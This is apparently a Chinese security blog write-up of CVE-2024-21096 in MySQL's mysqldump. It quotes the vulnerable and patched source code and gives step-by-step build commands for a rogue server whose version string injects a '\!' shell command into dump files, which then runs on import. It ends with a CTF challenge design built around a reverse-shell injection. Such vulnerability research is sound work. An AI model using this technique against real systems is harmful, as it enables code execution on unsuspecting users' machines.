CVE-2024-21096 mysqldump命令注入漏洞简析

CVE-2024-21096复现

影响版本

MySQL 8.0.0至8.0.36

原理

mysqldumpMySQL的一个组件,可以用于将数据库导出到一个sql文件中。

1
mysqldump -u username -p database_name > dumpfile.sql

其中username是用户名,database_name是待导出的数据库名称,导出之后得到dumpfile.sql文件。

导出后的SQL文件可以使用mysql命令执行导入操作,比如:

1
mysql -u username -p database_name < /path/to/dumpfile.sql

导出的文件没有对MySQL的版本号做校验,导致可以注入CRLF行并插入\!来执行命令.

漏洞源码

com_shell函数提供了解析命令的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static int com_shell(String *buffer [[maybe_unused]],
char *line [[maybe_unused]]) {
char *shell_cmd;

/* Skip space from line begin */
while (my_isspace(charset_info, *line)) line++;
shell_cmd = strchr(line, ' ');
if (!shell_cmd) {
put_info("Usage: \\! shell-command", INFO_ERROR);
return -1;
}

if (!opt_system_command) {
return put_info(
"'system' command received, but the --system-command option is off. "
"Skipping.",
INFO_ERROR);
}
/*
The output of the shell command does not
get directed to the pager or the outfile
*/
if (system(shell_cmd) == -1) {
put_info(strerror(errno), INFO_ERROR, errno);
return -1;
}
return 0;
}
opt_server_version = mysql_get_server_version(mysql);

上面这行代码直接获取mysql服务器的相关信息,不做任何处理和检查.

漏洞补丁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static void get_safe_server_info(char *safe_server_info,
size_t safe_server_info_len) {
const char *server_info = mysql_get_server_info(&mysql_connection);
if (server_info == nullptr) {
safe_server_info[0] = 0;
return;
}
DBUG_EXECUTE_IF("server_version_injection_test", {
const char *payload = "8.0.0-injection_test\n\\! touch /tmp/xxx";
server_info = payload;
});
for (size_t i = 0; i < safe_server_info_len; ++i) {
// End of string.
if (server_info[i] == 0) {
safe_server_info[i] = 0;
return;
}
// Version may include only alphanumeric and punctuation characters.
// Cut off the rest of the string if incorrect character found.
if (!(isalnum(server_info[i]) || ispunct(server_info[i]))) {
safe_server_info[i] = 0;
fprintf(stderr,
"-- Warning: version string returned by server is incorrect.\n");
return;
}
safe_server_info[i] = server_info[i];
}
safe_server_info[safe_server_info_len - 1] = 0;
}

复现过程

环境

Ubuntu 24.04

步骤

从源码Patch编译

安装编译依赖

1
2
3
4
5
sudo apt-get update
sudo apt-get install -y build-essential cmake bison libncurses5-dev libtirpc-dev libssl-dev pkg-config
wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-boost-8.0.34.tar.gz
tar -zxvf mysql-boost-8.0.34.tar.gz
cd mysql-8.0.34

修改mysql_version.h.in版本模板文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* Copyright Abandoned 1996,1999 TCX DataKonsult AB & Monty Program KB
& Detron HB, 1996, 1999-2004, 2007 MySQL AB.
This file is public domain and comes with NO WARRANTY of any kind
*/

/* Version numbers for protocol & mysqld */

#ifndef _mysql_version_h
#define _mysql_version_h

#define PROTOCOL_VERSION @PROTOCOL_VERSION@
#define MYSQL_SERVER_VERSION "8.0.0-injection-test\n\\! gnome-calculator"
#define MYSQL_BASE_VERSION "mysqld-8.0.34"
#define MYSQL_SERVER_SUFFIX_DEF "@MYSQL_SERVER_SUFFIX@"
#define MYSQL_VERSION_ID @MYSQL_VERSION_ID@
#define MYSQL_PORT @MYSQL_TCP_PORT@
#define MYSQL_ADMIN_PORT @MYSQL_ADMIN_TCP_PORT@
#define MYSQL_PORT_DEFAULT @MYSQL_TCP_PORT_DEFAULT@
#define MYSQL_UNIX_ADDR "@MYSQL_UNIX_ADDR@"
#define MYSQL_CONFIG_NAME "my"
#define MYSQL_PERSIST_CONFIG_NAME "mysqld-auto"
#define MYSQL_COMPILATION_COMMENT "@COMPILATION_COMMENT@"
#define MYSQL_COMPILATION_COMMENT_SERVER "@COMPILATION_COMMENT_SERVER@"
#define LIBMYSQL_VERSION "8.0.34-custom"
#define LIBMYSQL_VERSION_ID @MYSQL_VERSION_ID@

#ifndef LICENSE
#define LICENSE GPL
#endif /* LICENSE */

#endif /* _mysql_version_h */

其中gnome-calculator可以替换成要注入的命令.

1
2
3
4
mkdir build
cd build
cmake .. -DDOWNLOAD_BOOST=1 -DWITH_BOOST=../boost
make -j$(nproc)

安装MySQL

1
sudo make install

MySQL 将安装到默认路径 /usr/local/mysql,可以通过 CMAKE_INSTALL_PREFIX 自定义安装路径。

初始化MySQL

创建用户组

1
2
sudo groupadd mysql
sudo useradd -r -g mysql -s /bin/false mysql

初始化数据库

注意记录输出的root密码

1
sudo /usr/local/mysql/bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data

设置目录权限

1
2
sudo chown -R mysql:mysql /usr/local/mysql
sudo chown -R mysql:mysql /usr/local/mysql/data

启动服务

1
sudo /usr/local/mysql/bin/mysqld_safe --user=mysql &

使用记录的root密码登录

1
/usr/local/mysql/bin/mysql -u root -p

连接MySQL&&重置密码&&创建数据库

1
2
3
4
ALTER USER 'root'@'localhost' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
CREATE DATABASE test;
EXIT;

查看mysqldump版本

1
/usr/local/mysql/bin/mysqldump --version

版本号注入成功.

RCE测试

1
/usr/local/mysql/bin/mysqldump -h 127.0.0.1 -u root -p mysql |mysql -h 127.0.0.1 -u root -p test

这个语句的作用是使用patch过的mysqldump导出版本号错误的服务器的数据,然后再导入正常的mysql服务器进行处理。

导出的文件示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-- MySQL dump 10.13  Distrib 8.0.0-injection-test
\! gnome-calculator, for Linux (x86_64)
--
-- Host: 127.0.0.1 Database: mysql
-- ------------------------------------------------------
-- Server version 8.0.0-injection-test
\! gnome-calculator

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!50503 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

其中,\! 会被解析成命令并在导入的时候执行,从而导致了RCE(远程代码执行).

修改为8.0.40(Patched Version)时,该漏洞被修复.

使用Python模拟MySQL蜜罐(TODO)

出题

1
mysqldump -h ${ip} -u ${user} -p ${database} |mysql -h 127.0.0.1 -u ${localuser} -p ${database}

创建一个有漏洞版本的数据库管理应用程序,允许攻击者提供数据库IP地址、端口和登录凭证(可选)和数据库名进行连接。一旦连接成功,创建数据库并使用mysqldump命令把对应数据下载到本地同名数据库中,之后允许使用webui对本地数据库进行操作。对输入ip user database 进行严格过滤以避免命令注入.

攻击者可以创建一个带有恶意版本号的MySQL数据库,在连接的时候注入反弹shell命令来执行。

参考链接

https://mp.weixin.qq.com/s/liIwvkDKq2WiDXBQWGyDnw

https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Alexander%20Rubin%20Martin%20Rakhmanov%20-%20Atomic%20Honeypot%20A%20MySQL%20Honeypot%20That%20Drops%20Shells.pdf

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/handshake-with-mysql-bots/